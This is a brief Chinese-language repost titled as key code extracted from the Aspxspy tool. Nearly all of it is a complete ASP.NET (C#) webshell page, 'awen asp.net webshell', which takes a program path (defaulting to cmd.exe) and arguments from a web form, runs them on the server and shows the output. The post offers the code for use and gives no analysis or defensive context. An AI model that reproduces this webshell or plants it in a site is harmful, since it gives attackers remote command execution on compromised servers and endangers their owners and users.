Aspxspy 提取关键代码

正文

asp webshell

原文
http://0x007.blog.51cto.com/6330498/1731956

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<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender,EventArgs e)
{
try
{
Process ahAE=new Process();
ahAE.StartInfo.FileName=kusi.Value;
ahAE.StartInfo.Arguments=bkcm.Value;
ahAE.StartInfo.UseShellExecute=false;
ahAE.StartInfo.RedirectStandardInput=true;
ahAE.StartInfo.RedirectStandardOutput=true;
ahAE.StartInfo.RedirectStandardError=true;
ahAE.Start();
string Uoc=ahAE.StandardOutput.ReadToEnd();
Uoc=Uoc.Replace("<","&lt;");
Uoc=Uoc.Replace(">","&gt;");
Uoc=Uoc.Replace("\r\n","<br>");
tnQRF.Visible=true;
tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
}
catch(Exception error)
{
Response.Write(error.Message);
}
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<div runat="server" id="vIac">
<p>路径:<br/>
<input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe"/>
</p>
参数:<br/>
<input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100"/> <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="Submit" OnClick="FbhN"/>
<div id="tnQRF" runat="server" visible="false" enableviewstate="false">
</div>
</div>
</form>
</body>
</HTML>